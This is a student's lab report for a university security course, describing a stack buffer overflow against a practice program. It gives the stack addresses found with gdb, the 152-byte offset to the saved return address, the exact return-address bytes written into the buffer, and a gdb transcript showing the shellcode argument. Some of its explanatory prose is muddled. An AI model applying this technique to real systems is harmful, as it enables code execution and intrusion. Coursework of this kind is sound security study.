CAP 6135: PROJECT ASSIGNMENT 1

Rajib Dey

UCF ID: 4166566

Explain how you design the overflowed buffer.

Solution:

Buffer overflow is the idea that you need to insert a larger string than the code is expecting. Which will overflow the buffer used in a program in a sever or PC. We can implement it by increasing the string length, which will cause the values to go from positive to negative. Different frames of the memory are allocated to a function execution. Here, in this assignment, for the function 'foo' in 'target.c' program, a frame is being allocated, which takes a variable 'buff' without any parameters and copies it using 'strcpy', which is an unprotected function. After that the unprotected function is overflown by the buffer, whose return address has been overridden in 'exploit.c' program. We programmed the code in such a way that, the new return address is the address of a program which spawns a remote shell. When 'target.c' calls the function 'foo', the buffer is overloaded, and the return address is manipulated carefully in such a way that, it now has the address of the shellcode residing in a different part of memory. To capture the memory stack information, I used gdb to set breakpoint. Using that information, I exploited the execution of 'target.c'.

Draw the stack memory allocation graph to show the stack memory of the function foo() in executing target code (before running the line : strcpy(buf); in foo() function) You should show the addresses of

- **return address,**
- **saved calling stack pointer,**
- **the five local variables buf, maxlen, var1, ptr, and ptr2.**

Solution:

Saved return address(rip)	0x7fffffffec78
stack pointer(rbp)	0x7fffffffec70
buf	0x7fffffffebe0
maxlen	0x7fffffffec6e
var1	0x7fffffffec60

ptr	0x7fffffffec58
ptr2	0x7fffffffec50

The address of ‘buf’ in target.c is: 0x7fffffffebe0

The address of the function’s return address (rip) is 0x7fffffffec78

We put the shellcode [] at the beginning of ‘buf’, so the first instruction of the shellcode would be at address 0x7fffffffebe0

If we subtract buf address from rip address we get :

0x7fffffffec78– 0x7fffffffebe0= 0x98 (in Hex) = 152 in decimal value

Since the address in the 64-bit Eustis machine is 6 bytes and Eustis are a little-endian machine:

buff[152] = 0xe0;

buff[153] = 0xeb;

buff[154] = 0xff;

buff[155] = 0xff;

buff[156] = 0xff;

buff[157] = 0x7f;

buff[158] = '\0';

The last byte is a NULL terminator.

I have put this information in the ‘exploit.c code.’

Show how you use Gdb installed in Eustis to find out the stack information. You must put the screen shot image of the SSH shell showing the Gdb running procedure in your report (if one screenshot is not enough to show the complete procedure, then use several screen-shot pictures).

Solution: The Screenshot below shows ‘gdb’ running in Eustis machine through Ubuntu Terminal. The snapshots also shows how I got different allocated memory addresses.

```
ra295724@net1547:~/CAP6135/exploits$ setarch i686 -R gdb ./exploit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./exploit...done.
(gdb) break target.c:foo
No source file named target.c.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (target.c:foo) pending.
(gdb) run
Starting program: /home/net/ra295724/CAP6135/exploits/exploit
process 15302 is executing new program: /home/net/ra295724/CAP6135/targets/target
Press any key to call foo function...


Breakpoint 1, foo (
    arg=0x7fffffffef27 "1\300H\273й\226\221Ќ\227\377H\367\333ST_\231RWT^\260;\017\005", '\001' <repeats 125 times>, "\360\353\377\377\377\177") at target.c:7
7         short maxlen = 100;
(gdb)
(gdb) info frame
Stack level 0, frame at 0x7fffffffec80:
 rip = 0x400698 in foo (target.c:7); saved rip = 0x4007e6
 called by frame at 0x7fffffffeca0
 source language c.
 Arglist at 0x7fffffffec70, args:
    arg=0x7fffffffef27 "1\300H\273й\226\221Ќ\227\377H\367\333ST_\231RWT^\260;\017\005", '\001' <repeats 125 times>, "\360\353\377\377\377\177"
```

```
 Locals at 0x7fffffffec70, Previous frame's sp is 0x7fffffffec80
 Saved registers:
  rbp at 0x7fffffffec70, rip at 0x7fffffffec78
(gdb) x &buf
0x7fffffffebe0: 0x00000000
(gdb)  x &maxlen
0x7fffffffec6e: 0xec900000
(gdb)
0x7fffffffec72: 0x7fffffff
(gdb)  x &maxlen
0x7fffffffec6e: 0xec900000
(gdb)  x &var1
0x7fffffffec60: 0x00000000
(gdb)  x &ptr
0x7fffffffec58: 0x00000000
(gdb)  x &ptr2
0x7fffffffec50: 0x00000000
```

Show the screen-shot image of your exploit code that successfully creates a shell in compromise (showing double $ signs), somewhat like my own exploit code here:

Solution:

The screenshot below shows 'exploit' running in Eustis machine through an Ubuntu Terminal. It clearly demonstrates that I exploited the target to run a shellcode